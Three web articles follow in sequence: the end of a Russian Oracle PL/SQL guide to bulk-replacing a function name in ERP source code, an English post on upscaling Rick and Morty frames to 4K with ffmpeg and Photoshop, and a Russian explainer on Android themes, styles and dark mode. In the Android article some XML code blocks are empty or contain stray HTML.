/* если запросить объект с типом 'TYPE' то будет возвращён и заголовок и тело , что бы получить только заголовок надо запрашивать 'TYPE_SPEC' */
SELECT 13, 'TYPE_SPEC' FROM DUAL UNION ALL --TYPE
SELECT 14, 'TYPE_BODY' FROM DUAL UNION ALL
SELECT 19, 'TABLE_PARTITION' FROM DUAL UNION ALL
SELECT 20, 'INDEX_PARTITION' FROM DUAL UNION ALL
SELECT 21, 'LOB' FROM DUAL UNION ALL
SELECT 22, 'LIBRARY' FROM DUAL UNION ALL
SELECT 23, 'DIRECTORY' FROM DUAL UNION ALL
SELECT 24, 'QUEUE' FROM DUAL UNION ALL
SELECT 28, 'JAVA_SOURCE' FROM DUAL UNION ALL
SELECT 29, 'JAVA_CLASS' FROM DUAL UNION ALL
SELECT 30, 'JAVA_RESOURCE' FROM DUAL UNION ALL
SELECT 32, 'INDEXTYPE' FROM DUAL UNION ALL
SELECT 33, 'OPERATOR' FROM DUAL UNION ALL
SELECT 34, 'TABLE_SUBPARTITION' FROM DUAL UNION ALL
SELECT 35, 'INDEX_SUBPARTITION' FROM DUAL UNION ALL
SELECT 39, 'LOB_PARTITION' FROM DUAL UNION ALL
SELECT 40, 'LOB_SUBPARTITION' FROM DUAL UNION ALL
SELECT 43, 'DIMENSION' FROM DUAL UNION ALL
SELECT 44, 'CONTEXT' FROM DUAL UNION ALL
SELECT 47, 'RESOURCE_PLAN' FROM DUAL UNION ALL
SELECT 48, 'CONSUMER_GROUP' FROM DUAL UNION ALL
SELECT 51, 'SUBSCRIPTION' FROM DUAL UNION ALL
SELECT 52, 'LOCATION' FROM DUAL UNION ALL
SELECT 56, 'JAVA_DATA' FROM DUAL
)
SELECT
OB.NAME
, TP.NAME
, UR.NAME
FROM
SWAP_SOURCE_CODE SW
JOIN SYS.OBJ$ OB ON
SW.OBJ# = OB.OBJ#
JOIN SYS.USER$ UR ON
UR.USER# = OB.OWNER#
LEFT JOIN OBJ_TYPE TP ON
OB.TYPE# = TP.TYPE#
WHERE
SW.OBJ# = nObjIn
;
ObjRaw_CLOB CLOB; /* не обработанный объект */
ObjParsed_CLOB CLOB; /* DDL скрипт создания объекта после обработки */
sObjName VARCHAR2(30); /* имя объекта */
sTypeName VARCHAR2(30); /* тип объекта */
sSchemaName VARCHAR2(30); /* схема объекта */
/* Курсор для выборки строки и подстановки */
CURSOR GetSourceOutputFromSwap_Source
(
nObjectNumberIn IN NUMBER
, nBatchNumberIn IN NUMBER
)
IS
SELECT
SW.SOURCE AS SOURCE
, SW.OUTPUT AS OUTPUT
FROM
SWAP_SOURCE_CODE SW
WHERE
SW.BATCH = nBatchNumberIn
AND SW.OBJ# = nObjectNumberIn
ORDER BY
SW.LINE
;
TYPE T_SOURCE_AND_OUTPUT_TABLE IS TABLE OF GetSourceOutputFromSwap_Source%ROWTYPE;
SourceAndOutput_TABLE T_SOURCE_AND_OUTPUT_TABLE := T_SOURCE_AND_OUTPUT_TABLE();
nSourceCount NUMBER ;
nSourceFirstIndex NUMBER ;
nSourceLastIndex NUMBER ;
sPlaceholder SYS.SOURCE$.SOURCE%TYPE; /* подстрока для замены */
sSubstitute SYS.SOURCE$.SOURCE%TYPE; /* строка для подстановки */
BEGIN
/* для выполнения GET_DDL получаем имя объекта, его тип и его схему */
OPEN GetObjNameTypeSchema(nObjIn);
FETCH GetObjNameTypeSchema INTO sObjName, sTypeName, sSchemaName;
CLOSE GetObjNameTypeSchema;
/* получаем исходник объекта */
ObjRaw_CLOB := DBMS_METADATA.GET_DDL
(
OBJECT_TYPE => sTypeName
, NAME => sObjName
, SCHEMA => sSchemaName
);
/* сохраняем оригинальный исходник */
ObjBackupOut_CLOB := ObjRaw_CLOB ;
/* инициализируем переменную для обработки исходника */
ObjParsed_CLOB := ObjRaw_CLOB;
OPEN GetSourceOutputFromSwap_Source
(
nObjectNumberIn => nObjIn
, nBatchNumberIn => nBatchIn
);
FETCH GetSourceOutputFromSwap_Source BULK COLLECT INTO SourceAndOutput_TABLE;
CLOSE GetSourceOutputFromSwap_Source ;
nSourceCount := SourceAndOutput_TABLE.COUNT;
IF ( nSourceCount > 0 )
THEN
nSourceFirstIndex := SourceAndOutput_TABLE.FIRST;
nSourceLastIndex := SourceAndOutput_TABLE.LAST;
FOR indx IN nSourceFirstIndex .. nSourceLastIndex
LOOP
sPlaceholder := SourceAndOutput_TABLE(indx).SOURCE ;
sSubstitute := SourceAndOutput_TABLE(indx).OUTPUT ;
/* выполняем подстановку */
ObjParsed_CLOB :=
REPLACE
(
ObjParsed_CLOB
, sPlaceholder
, sSubstitute
);
END LOOP;
/* записываем исходник после подстановок */
ObjUpdateOut_CLOB := ObjParsed_CLOB ;
END IF ;
END PARSE_SOURCE_CODE_WITH_OUTPUT ;
BEGIN
/* получаем номер прогона */
OPEN GetNextBatchNumber;
FETCH GetNextBatchNumber INTO nBATCH;
CLOSE GetNextBatchNumber;
/* получаем список объектов для выполнения подстановок */
OPEN GetObjFromSwap_Source_Code(N_BATCH_IN);
FETCH GetObjFromSwap_Source_Code BULK COLLECT INTO OBJ_TABLE;
CLOSE GetObjFromSwap_Source_Code;
nObjCount := OBJ_TABLE.COUNT;
IF ( nObjCount > 0 )
THEN
nObjFirstIndex := OBJ_TABLE.FIRST;
nObjLastIndex := OBJ_TABLE.LAST;
FOR indx IN nObjFirstIndex .. nObjLastIndex
LOOP
/* очередной объект для обработки */
nObj := OBJ_TABLE(indx).OBJ;
/* выполняем подстановку */
PARSE_SOURCE_CODE_WITH_OUTPUT
(
nObjIn => nObj
, nBatchIn => N_BATCH_IN
, ObjBackupOut_CLOB => ObjBackup_CLOB
, ObjUpdateOut_CLOB => ObjUpdate_CLOB
);
/* сравниваем исходник до и после подстановок */
nIsEqual := DBMS_LOB.COMPARE(ObjBackup_CLOB,ObjUpdate_CLOB);
IF(
nIsEqual IS NOT NULL /* NULL возвращается при кривых CLOB_ах для сравнения */
AND nIsEqual <> 0 /* если CLOB _ы равны то 0, если не равны то не 0 */
)
THEN
/* если CLOB _ы не равны то сохраняем их в SOURCE_CODE_BACKUP */
INSERT INTO SOURCE_CODE_BACKUP
(BATCH,OBJ,CODE_BACKUP,CODE_UPDATE)
VALUES(nBATCH,nObj,ObjBackup_CLOB,ObjUpdate_CLOB)
;
END IF ;
END LOOP;
END IF ;
END P_REPLACE_SOURCE_WITH_OUTPUT ;
```
Выполняем процедуру:
```
BEGIN
P_REPLACE_SOURCE_WITH_OUTPUT( N_BATCH_IN => 1 );
END;
```
После этого, в теории, можно проверить, что там нагенерилось.
```
SELECT * FROM SOURCE_CODE_BACKUP;
```
##### Компиляция объектов
И вот мы на финишной прямой — осталось откомпилировать все объекты — выполнить DDL скрипты.
Выполняем тоже процедурой — P\_EXECUTE\_CODE\_UPDATE:
```
CREATE OR REPLACE PROCEDURE P_EXECUTE_CODE_UPDATE
(
N_BATCH_IN NUMBER /* номер прогона который надо откомпилировать */
)
AS
/* Курсор для чтения таблицы с исходниками , объект подтягивается для отображения в логе */
CURSOR GetUpdateFromSourceCodeBackup
(
nBatchNumberIn IN NUMBER
)
IS
SELECT
SB.CODE_UPDATE AS CodeUpdate
, SB.OBJ AS Obj
FROM
SOURCE_CODE_BACKUP SB
JOIN SYS.OBJ$ OB ON
SB.OBJ = OB.OBJ#
WHERE
SB.BATCH = nBatchNumberIn
AND OB.TYPE# <> 12 -- 12, 'TRIGGER' /* с триггерами беда DBMS_METADATA.GET_DDL для триггеров возвращает строчку с альтером для включения триггера, и на этой строке DDL скрипт падает с ошибкой , пришлось триггеры комплировать в ручную, наверное можно настроить DBMS_METADATA так что бы он эту строчку с альтером не добавлял */
ORDER BY
SB.BATCH
, SB.OBJ
;
TYPE T_CodeUpdate IS TABLE OF GetUpdateFromSourceCodeBackup%ROWTYPE;
CodeUpdate_TABLE T_CodeUpdate := T_CodeUpdate();
nCodeUpdateCount NUMBER;
nCodeUpdateFirst NUMBER;
nCodeUpdateLast NUMBER;
/* переменная с текстом для компиляции */
SqlText_CLOB CLOB;
nObj NUMBER;
/* Курсор для чтения имени объекта */
CURSOR GetObjName( ObjIn IN NUMBER )
IS
SELECT
OB.NAME AS ObjectName
FROM
SYS.OBJ$ OB
WHERE
OB.OBJ# = ObjIn
;
/* имя объекта в ORACLE не может быть длинней 30-ти символов, но мне памяти не жалко - пусть будет 32767 */
sObjectName VARCHAR2(32767);
BEGIN
/* для логирования "на экране" включаем вывод, буфер делаем безлимитным */
DBMS_OUTPUT.ENABLE(NULL);
/* читаем все DDL скрипты для выполнения */
OPEN GetUpdateFromSourceCodeBackup(N_BATCH_IN);
FETCH GetUpdateFromSourceCodeBackup BULK COLLECT INTO CodeUpdate_TABLE;
CLOSE GetUpdateFromSourceCodeBackup;
nCodeUpdateCount := CodeUpdate_TABLE.COUNT;
IF ( nCodeUpdateCount > 0 )
THEN
nCodeUpdateFirst := CodeUpdate_TABLE.FIRST;
nCodeUpdateLast := CodeUpdate_TABLE.LAST;
FOR indx IN nCodeUpdateFirst .. nCodeUpdateLast
LOOP
/* записали текст DDL скрипта */
SqlText_CLOB := CodeUpdate_TABLE(indx).CodeUpdate;
/* записали номер объекта */
nObj := CodeUpdate_TABLE(indx).Obj;
/* прочитали наименование объекта */
OPEN GetObjName(nObj);
FETCH GetObjName INTO sObjectName ;
CLOSE GetObjName;
/* делаем запись в журнале о том что приступаем к обработке объекта */
DBMS_OUTPUT.PUT_LINE( '#' || LPAD (indx, 3,'0' )|| ' Process .. ' || sObjectName || ' ' || nObj );
/* выполняем DDL скрипт */
EXECUTE IMMEDIATE SqlText_CLOB;
/* делаем запись об успешном выполнении скрипта , поскольку нет отлова эксепшенов то процедура упадёт на первой ошибке выполнения скрипта */
DBMS_OUTPUT.PUT_LINE( '#' || LPAD (indx, 3,'0' )|| ' Complete ' || sObjectName || ' ' || nObj );
END LOOP;
END IF;
END;
```
Выполняем:
```
BEGIN
PARUS.P_EXECUTE_CODE_UPDATE( N_BATCH_IN => 1 );
END;
```
Откомпилировали все объекты, кроме триггеров, выбираем триггеры из нашего прогона:
```
SELECT
*
FROM
SWAP_SOURCE_CODE SW
JOIN SYS.OBJ$ OB ON
OB.OBJ# = SW.OBJ#
WHERE
OB.TYPE# = 12
AND SW.BATCH = 1
;
```
Выполняем скрипты триггеров по частям, сначала ту часть где триггер создаётся, затем ту часть где триггер включается.
#### Заключение
Исходники изменены нужным образом и скомпилированы. Оригинальные исходники сохранены, из них можно восстановить оригинальные объекты, без обращения к админу СУБД с заявкой на развёртывание резервной копии.
Почему мне так просто удалось выполнить подмену одной функции на другую? Потому что эта ERP из коробки с 20-ти летней историей, за кодом следят, код оформлен в едином стиле, если бы это была ERP на коленке, то не факт что у меня получилось бы так легко выполнить подмену имени функции.
Товарищи, не будьте себе врагами, любите себя — следите за своим кодом, пусть он будет написан в одном стиле по одним стандартам!
Аминь.
#### Ссылки
1. [привилегии для чтения таблицы SYS.SOURCE$](http://stackoverflow.com/questions/2478670/what-privileges-do-you-need-to-access-sys-tables)
2. [типы объектов для функции DBMS\_METADATA.GET\_DDL](http://docs.oracle.com/cd/B19306_01/appdev.102/b14258/d_metada.htm#BGBIEDIA)
3. [использование DBMS\_SQL для выполнения динамического SQL](http://docs.oracle.com/cd/B28359_01/appdev.111/b28370/dynamic.htm) | https://habr.com/ru/post/280648/ | null | ru | null |
# We're in UltraHD Morty! How to watch any movie in 4K
You’ve probably heard about [Yandex’s DeepHD technology](https://habr.com/ru/company/yandex/blog/422561/) they once used to improve the quality of old Soviet cartoons. Unfortunately, it’s not public yet, and we, regular programmers, don’t have the dedication to write our own solution. But I personally really wanted to watch Rick and Morty on my **2880x1880** Retina display. And I was deeply disappointed, as even **1080p** video (the highest available for this series) looks really blurry on a Retina display! Don’t get me wrong, 1080p is often good enough, but Retina is designed in such a way that an animation with its pronounced outlines in 1080p looks awfully blurry, like 480p on a FullHD monitor.
I decided I want to see Rick and Morty in 4K, even though I can’t write neural networks. And, amazingly, I found a solution. You don’t even need to write any code: all you need is **around 100GB of free space** and a bit of patience. The result is a sharp 4K image that looks better than any interpolation.

### Preparations
First, we need to understand that a technology for upscaling video using neural networks doesn’t exist. Or at least it’s not publicly available. And since that’s the case, we need to transform our video into a bunch of still frames!
Adobe Premiere Pro or any other video editing suite can do it, but, since it’s probably not installed on a lot of PCs, I used the console utility [ffmpeg](https://www.ffmpeg.org/). Took the first episode of the first series and away I went:
```
$ ffmpeg -i RiM01x01_4K.mp4 -q:v 1 IM/01x01_%05d.jpg
```
**Why JPG and not PNG?**A fair question. The thing is, 31 000 resulting PNGs would’ve taken insanely much space. So much that a slight sacrifice in quality is worth it. Also, the =q:v 1 parameter means we’re outputting JPGs in the highest possible quality.
Around 10 minutes later, we get a huge folder filled with images. For me it took all of **26GB**.

Now all we need is to process every single one of those!
### How?
I found three options that worked reasonably well — rather famous [Let's Enhance](http://letsenhance.io), anime-oriented [waifu2x](https://github.com/nagadomi/waifu2x), and Mail.ru Vision.
I’ll show the examples later.
Mail.ru Vision and Let’s Enhance do a good job, but unfortunately they aren’t open-source, meaning to process 31 000 images I’d need to write an email to their creators and probably pay quite a bit. Waifu2x is open-source, but the result was rather poor — a lot of noises and artifacts. After all, Rick and Morty is not anime.
I almost resigned myself to digging GitHub and topical forums, but… a saviour appeared! I found a solution that worked on the machine locally, processes 1 image in less than a second and delivers in quality. You won’t believe who came to our rescue once again!
**Adobe Photoshop!**
And no, I won’t tell a story about how you could enhance a picture with a couple of filters. Adobe actually trained a proper neural network that can “complete” an image when you upscale it within the application!
To start, we need to open the source image, go to the top menu, then Image — Image size, and choose the “Preserve Details 2.0” resampling option.

The result was surprisingly good! Probably only trailing Let’s Enhance. Here’s the comparison (with the image zoomed in around 800%):

*And what now? Manually process every frame?*
Of course not! Photoshop has the Actions tool that allows to first record a sequence of actions, and then apply it to an entire folder of images. The process is a cursory Google search away.
I left my laptop to process 31 000 frames through the night with a simple instruction: “upscale 2x and save”. The next morning everything was ready. I had another folder full of images, but now in 4K and taking up **82GB of disk space**.
### Back to video
Ffmpeg to the rescue again.
First, we remember we forgot the audio track and extract it out of the original file:
```
ffmpeg -i RiM01x01_1080p.mp4 -vn -ar 44100 -ac 2 -ab 320K -f mp3 sound.mp3
```
Then we put the sound file into the folder with all the 4K images. We’re now ready for the final montage!
```
ffmpeg -i 01x01_%05d.jpg -i sn.mp3 -vcodec libx264 -preset veryslow -crf 10 -r 23.976 RiM_01x01_4K.mp4
```
**Be careful**: after -r specify the **exact framerate of the original**, or else the audio track would misalign with the video!
### It’s done!
We now have the first episode of Rick and Morty in 4K. Here is the [sample video](https://yadi.sk/d/3TvUrOPQXS_Wrg). Of course, the whole process was a bit amateurish, but this approach has a serious advantage. While importing the images into Photoshop we can manually tinker with them to get it just right. Adjust the focus, color balance based on a couple of frames, write it into an Action, apply to the whole video and — voila! A perfect result without too much math trickery. This brings “miracle upscaling” a bit closer to an average user. The most complex of technologies that have been in development for centuries can not be used fast and without special knowledge — what is it, if not the future? | https://habr.com/ru/post/441918/ | null | en | null |
# Темы и стили в Android-приложениях

Каждому Android-разработчику так или иначе приходилось работать со стилями. Кто-то чувствует себя с ними уверенно, у кого-то есть только поверхностные знания, которые зачастую не позволяют самостоятельно решить поставленную задачу.
В преддверии выхода темной темы было решено освежить в памяти всю информацию, касающуюся тем и стилей в Android-приложениях.
#### О чем пойдет речь:
* Рассмотрим основные понятия тем и стилей в Android-приложениях, посмотрим какие возможности они нам предоставляют;
* Создадим простейшую тему с использованием Material Components и поиграемся с переопределением стилей;
* Разберемся, как работает темная тема;
* Сформулируем рекомендации для работы со стилями.
### Начнем с основ
По своей структуре темы и стили имеют общее строение:
```
<item name="key">value</item>
```
Для создания используется тег `style`. У каждого cтиля есть имя и он хранит в себе параметры `key-value`.
Все достаточно просто. Но в чем же разница между темой и стилем?
**Единственное** отличие заключается в том, как мы их используем.
#### Тема
Тема — это набор параметров, которые применяются ко всему приложению, Activity или View-компоненту. Она содержит базовые цвета приложения, стили для отрисовки **всех** компонентов приложения и различные настройки.
Пример темы:
```
<!--Base colors-->
<item name="colorPrimary">@color/color\_primary</item>
<item name="colorPrimaryVariant">@color/color\_primary\_variant</item>
<item name="colorSecondary">@color/color\_secondary</item>
<item name="colorOnPrimary">@color/color\_on\_primary</item>
<item name="colorOnError">@color/color\_on\_error</item>
<!--Style attributes-->
<item name="textAppearanceHeadline1">@style/TextAppearance.MyTheme.Headline1</item>
<item name="bottomSheetDialogTheme">@style/ThemeOverlay.MyTheme.BottomSheetDialog</item>
<item name="chipStyle">@style/Widget.MaterialComponents.Chip.Action</item>
<item name="textInputStyle">@style/Widget.MaterialComponents.TextInputLayout.FilledBox</item>
<!--Params-->
<item name="android:windowTranslucentStatus">true</item>
<!-- ... -->
```
В теме переопределены основные цвета приложения (`colorPrimary`, `colorSecondary`), стиль для текста (`textAppearanceHeadline1`) и некоторых стандартных компонентов приложения, а также параметр для прозрачного статус-бара.
Для того чтобы стиль стал настоящей темой, необходимо отнаследоваться (о наследовании мы поговорим чуть позже) от дефолтной реализации темы.
#### Стиль
Стиль — это набор параметров для стилизации одного View-компонента.
Пример стиля для [TextInputLayout](https://material.io/design/components/text-fields.html):
```
<item name="boxBackgroundMode">outline</item>
<item name="boxStrokeColor">@color/color\_primary</item>
<item name="shapeAppearanceOverlay">@style/MyShapeAppearanceOverlay</item>
```
#### Атрибут
Атрибутом принято называть ключ стиля или темы. Это маленькие кирпичики из которых все строится:
```
colorPrimary
colorSecondary
colorOnError
boxBackgroundModе
boxStrokeColor
shapeAppearanceOverlay
...
```
Все эти ключи являются стандартными атрибутами.
Мы можем создавать свои атрибуты:
Атрибут `myFavoriteColor` будет указывать на цвет или ссылку на ресурс цвета.
В формате мы можем указать вполне стандартные значения:
* color
* reference
* string
* enum
* fraction
* dimension
* boolean
* flags
* float
* integer
По своей природе атрибут **является интерфейсом**. Его необходимо реализовать в теме:
```
<!-- ... -->
<item name="myFavoriteColor">@color/color\_favorite</item>
```
Теперь мы можем на него ссылаться. Общая структура обращения выглядит так:

```
1 — указывает на то, что мы ищем в теме;
2 — namespace для поиска (системный ресурс или Material Components Library);
3 — указывает на то, что мы ищем атрибут (опционально);
4 — имя атрибута.
```
Ну и, наконец, давайте поменяем, например, цвет текста у поля:
Благодаря атрибутам мы можем добавлять какие-угодно абстракции, которые будут изменяться внутри темы.
#### Наследование тем и стилей
Как и в ООП, мы можем перенимать функционал существующей реализации. Сделать это можно двумя способами:
* Explicit (явно)
* Implicit (неявно)
При явном наследовании мы указываем родителя с помощью ключевого слова `parent`:
```
<!-- ... -->
```
При неявном наследовании мы используем `dot-notation` для указания родителя:
```
<!-- ... -->
```
**Никакой разницы** в работе этих подходов нет.
Очень часто мы можем встретить подобные стили:
```
<!-- ... -->
```
Может показаться, что стиль создан путем двойного наследования. На самом деле это не так. Множественное наследование запрещено. В таком определении **явное наследование всегда выигрывает**.
То есть будет создан стиль с именем `Widget.MyApp.Snackbar`, который является наследником `Widget.MaterialComponents.Snackbar`.
#### ThemeOverlay
ThemeOverlay — это специальные «легковесные» темы, которые позволяют **переопределить** атрибуты основной темы для View-компонента.
За примером далеко ходить не будем, а возьмем кейс из нашего приложения. Дизайнеры решили, что нам нужно сделать стандартное поле для ввода логина, которое будет иметь отличный от основного стиля цвет.
С основной темой поле ввода выглядит так:

Выглядит отлично, но дизайнеры настаивают на том, чтобы поле было в коричневом стиле.
Окей, как мы можем решить такую задачу?
* Переопределить стиль?
> Да, мы можем переопределить стиль и вручную поменять основные цвета вьюшки, но для этого нужно будет писать много кода, да и есть шанс, что мы про что-нибудь забудем.
* Написать свою вьюшку по гайдлайнам и с кастомными параметрами?
> Хороший вариант, так мы сможем удовлетворить любые хотелки дизайнеров и заодно прокачать скилл, но все это трудозатратно и может привести к нежелательным багам.
* Переопределить основной цвет в теме?
> Мы выяснили, что для нужного нам вида достаточно поменять `colorPrimary` в теме. Рабочий вариант, но так мы затронем внешний вид остальных компонентов, а нам это не нужно.
Правильное решение — это использовать **ThemeOverlay**.
Создаем `ThemeOverlay` и переопределяем основной **цвет темы**:
```
<item name="colorPrimary">@color/colorBrown</item>
```
Далее указываем его с помощью специального тега `android:theme` в наш `TextInputLayout`:
```
```
Все работает так, как нам и нужно.

Конечно же возникает вопрос — как это работает под капотом?
Эту магию позволяет провернуть `ContextThemeWrapper`. При создании View в `LayoutInflater` будет создан контекст, где за основу будет взята текущая тема и в ней будут переопределены параметры, которые мы указали в нашей Overlay теме.
```
../LayoutInflater.java
final TypedArray ta = context.obtainStyledAttributes(attrs, ATTRS_THEME);
final int themeResId = ta.getResourceId(0, 0);
if (themeResId != 0) {
context = new ContextThemeWrapper(context, themeResId);
}
ta.recycle();
```
Аналогичным образом мы можем самостоятельно переопределить любой параметр темы в приложении.
#### Последовательность применения тем и стилей ко View-компоненту

1. Главный приоритет имеет файл разметки. Если в нем определен параметр, то далее все аналогичные параметры будут игнорироваться.
2. Следующий приоритет имеет стиль View:
3. Далее используются предопределенные стили для компонента:
```
<item name=“materialButtonStyle”>@Widget.MyApp.ButtonStyle</item>
<!-- ... -->
```
4. Если параметры не были найдены, то используются атрибуты темы:
```
<item name=“colorPrimary”>@colorPrimary</item>
<!-- ... -->
```
В общем-то это все, что нужно знать для того чтобы начать работу с темами. Теперь кратко посмотрим на обновленную дизайн-библиотеку Material Components.
### Да прибудет с нами Material Components
Material Сomponents была представлена на Google I/O 2018 и является заменой Design Support Library.
Библиотека дает нам возможность использовать обновленные компоненты из Material Design 2.0. Кроме того, в ней появилось множество интересных настроек по кастомизации. Все это позволяет писать яркие и уникальные приложения.


Вот некоторые примеры приложений в новом стиле: [Owl](https://material.io/design/material-studies/owl.html), [Reply](https://material.io/design/material-studies/reply.html), [Crane](https://material.io/design/material-studies/crane.html).
### Перейдем к практике
Для создания темы нужно отнаследоваться от базовой темы:
```
Theme.MaterialComponents
Theme.MaterialComponents.NoActionBar
Theme.MaterialComponents.Light
Theme.MaterialComponents.Light.NoActionBar
Theme.MaterialComponents.Light.DarkActionBar
Theme.MaterialComponents.DayNight
Theme.MaterialComponents.DayNight.NoActionBar
Theme.MaterialComponents.DayNight.DarkActionBar
```
Все они очень похожи на `AppCompat` темы, но имеют дополнительные атрибуты и настройки.
Подробнее с новыми атрибутами можно познакомиться на [material.io](https://material.io/develop/android/docs/getting-started/).
Если по каким-то причинам вы сейчас не можете переключиться на новую тему, то вам подойдут `Bridge` темы. Они наследуются от `AppCompat` тем и имеют все новые атрибуты Material Components. Нужно всего лишь добавить постфикс `Bridge` и использовать все возможности без опасений:
```
Theme.MaterialComponents.Light.Bridge
```
А вот и наша тема:
```
<item name="colorPrimary">@color/color\_primary</item>
<item name="colorPrimaryVariant">@color/color\_primary\_variant</item>
<item name="colorSecondary">@color/color\_secondary</item>
<item name="colorSecondaryVariant">@color/color\_secondary\_variant</item>
<style></code></pre><br/>
<p>Имена основных цветов (brand-цветов) претерпели изменения:</p><br/>
<pre><code class="xml">colorPrimary — наиболее часто используемый цвет в приложении (как и в AppCompat);
colorPrimaryVariant — оттенок основного цвета (аналог colorPrimaryDark из AppCompat);
colorSecondary — второй по частоте использования цвет в приложении (аналог colorAccent из AppCompat);
colorSecondaryVariant — оттенок вторичного цвета.</code></pre><br/>
<p>Дополнительную информацию по цветам можно найти на <a href="https://material.io/develop/android/theming/color/">material.io</a>.</p><br/>
<p>Я уже упоминал, что тема содержит стандартные стили для каждого View-компонента. Например, для <code>Snackbar</code> стиль будет называться <code>snackbarStyle</code>, для <code>checkbox</code> — <code>checkboxStyle</code> и далее все по аналогии. Пример расставит все на свои места:</p><br/>
<p><img src="https://habrastorage.org/r/w1560/webt/wq/wn/yq/wqwnyqvncrfen6oykpgm9uvi87i.png" data-src="https://habrastorage.org/webt/wq/wn/yq/wqwnyqvncrfen6oykpgm9uvi87i.png"/></p><br/>
<p>Создадим свой стиль и применим его к теме:</p><br/>
<pre><code class="xml"><style name="Theme.MyApp.Main" parent="Theme.MaterialComponents.Light.NoActionBar">
<!-- ... -->
<item name="snackbarStyle">@style/Widget.MyApp.SnackbarStyle</item>
<!-- ... -->
```
Важно понимать, что когда вы переопределяете стиль в теме, он применится ко **всем** View этого типа в приложении (Activity).
Если же вы хотите применить стиль только к одной конкретной View, то нужно использовать тег `style` в файле с разметкой:
```
```
Одно из нововведений, которое меня действительно впечатлило — это **ShapeAppearance**. Оно позволяет изменять форму компонентов прямо в теме!
Каждый View-компонент относится к определенной группе:
* shapeAppearance**Small**Component
* shapeAppearance**Medium**Component
* shapeAppearance**Large**Component
Как мы можем понять из названия, в группах вьюшки разных размеров.

Проверим на практике:
```
<!-- ... -->
<item name="shapeAppearanceSmallComponent">@style/Widget.MyApp.SmallShapeAppearance</item>
<item name="cornerFamilyTopLeft">rounded</item>
<item name="cornerFamilyBottomRight">cut</item>
<item name="cornerSizeTopLeft">20dp</item>
<item name="cornerSizeBottomRight">15dp</item>
<!--<item name="cornerFamily">cut</item>-->
<!--<item name="cornerSize">8dp</item>-->
```
Мы создали `Widget.MyApp.SmallShapeAppearance` для "маленьких" компонентов. Закруглили верхний левый угол на `20dp` и правый нижний угол срезали на `15dp`.
Получили такой результат:

Выглядит интересно. Будет ли это работать в реальной жизни? Время покажет.
Как и для стилей, мы можем применить `ShapeAppearance` только для одного View-компонента.
### Что там по темной теме?
Совсем скоро состоится релиз Android Q, а вместе с ним к нам придет и официальная темная тема.
Пожалуй, одна из самых интересных и эффектных возможностей новой версии Android — это автоматическое применение темной темы для всего приложения одной строчкой кода.
Звучит здорово, давайте пробовать. Предлагаю взять всеми любимый [гитлаб клиент](https://gitlab.com/terrakok/gitlab-client) от [terrakok](https://habr.com/ru/users/terrakok/).
Разрешаем перекрашивать приложение (по умолчанию запрещено):
```
<!-- ... -->
<item name="android:forceDarkAllowed">true</item>
```
Атрибут `android:forceDarkAllowed` доступен с API 29 (Android Q).
Запускаем, смотрим что получилось:

Согласитесь, что для одной строчки кода выглядит очень круто.
Конечно, есть проблемы — `BottomNavigationBar` сливается с фоном, лоадер остался белым, выделение кода страдает и, вроде бы, все, по крайне мере мне больше ничего серьезного в глаза не бросилось.
Уверен, что потратив не так много времени, можно решить основные проблемы. Например, отключив автоматический темный режим для отдельных вьюшек (да, так тоже можно — `android:forceDarkAllowed` доступен для View в файле-разметке).
Следует помнить, что данный режим доступен только для светлых тем, если вы используете темную, то принудительная темная тема работать не будет.
Рекомендации по работе можно почитать [в документации](https://developer.android.com/preview/features/darktheme) и на [material.io](https://material.io/develop/android/theming/dark/).
### А если мы хотим все делать самостоятельно?
Как бы не было просто использовать принудительную темную тему, этот режим лишен гибкости. Фактически, все работает по заранее определенным правилам, которые могут не устраивать нас и, что более важно, заказчика. Думаю, что такое решение можно рассматривать как временное, до тех пор пока мы не сделаем свою реализацию темной темы.
В API 8 (Froyo) был добавлен квалификатор `-night`, который и по сей день используется для применения темной темы. Он позволяет автоматически применять нужную тему в зависимости от времени суток.
В темах `DayNight` уже используется такая реализация, нам достаточно отнаследоваться от них.
Давайте попробуем написать свою:
```
../values/themes.xml
```
В обычном ресурсе для темы (`values/themes.xml`) мы наследуемся от светлой темы, в "ночном" (`values-night/themes.xml`) ресурсе наследуемся от темной темы.
На этом все. Мы получили библиотечную реализацию темной темы. Теперь нам следует поддерживать ресурсы для двух тем.
Чтобы переключаться между темами во время работы приложения можно воспользоваться `AppCompatDelegate.setDefaultNightMode`, который принимает следующие параметры:
* `MODE_NIGHT_NO` — Светлая тема;
* `MODE_NIGHT_YES` — Темная тема;
* `MODE_NIGHT_AUTO_BATTERY` — Автоматический режим. Включается темная тема, если активен режим энергосбережения;
* `MODE_NIGHT_FOLLOW_SYSTEM` — Режим на основе системных настроек.
### Что нам следует учитывать при работе с темами и стилями?
Как я уже отметил, Google начал официально форсить темную тему. Уверен, что от многих заказчиков начали поступать вопросы — «Сможем ли мы добавить темную тему?». Хорошо, если вы с самого начала все делаете правильно и вам не составит труда поменять светлые цвета на темные, получив при этом полностью перекрашенное приложение.
К сожалению, так бывает далеко не всегда. Бывают старые приложения, которые требуют значительных усилий для того, чтобы внести необходимые изменения.
Давайте вместе попытаемся сформулировать рекомендации для работы со стилями:
#### 1. Палитра цветов
Думаю, что каждый разработчик сталкивался с ситуацией когда в новом макете появляется какой-то непонятный цвет, который еще не определен в палитре приложения. Что делать в таком случае?
Правильный ответ — поговорить с дизайнером и попытаться выработать палитру цветов. Сейчас есть множество программ (Zeplin, Sketch и др.), которые позволяют вынести основные цвета и потом переиспользовать их.
Чем раньше вы этим займетесь, тем меньше у вас будет головной боли в дальнейшем.
#### 2. Называть цвета своими именами
В каждом приложении найдется цвет, который имеет множество вариантов яркости. Можно для них начать выдумывать имена:
```
...
...
...
```
Согласитесь, выглядит не очень. Сразу возникает вопрос — какой цвет светлее `tiny` или `light`? А если у нас будет десяток вариантов?
Лучше всего придерживаться [концепции Google](https://material.io/design/color/#) и добавить в имена цветов соответствующую яркость (Google называет это вариантом цвета — `colorVariant`):
```
...
...
...
```
При таком подходе мы сможем иметь сколько угодно вариантов яркости одного цвета и нам не придется придумывать специфичные имена, а это действительно трудно.
#### 3. Абстрагироваться от конкретного цвета, если он меняется в разных темах
Так как мы пишем приложение в котором будет как минимум две темы, то мы не можем позволить себе ссылаться на конкретный цвет, если он реализуется в темах по-разному.
Давайте рассмотрим пример:

Мы видим, что в светлой теме, например, тулбар окрашен в фиолетовый, а в темной он темно-серый. Как бы нам реализовать такое поведение, используя только возможности тем?
Все достаточно просто — мы создадим атрибут и реализуем его в светлой и темной темах соответствующим цветом, как это описывалось ранее.
Google рекомендует связывать имена атрибутов с семантикой использования.
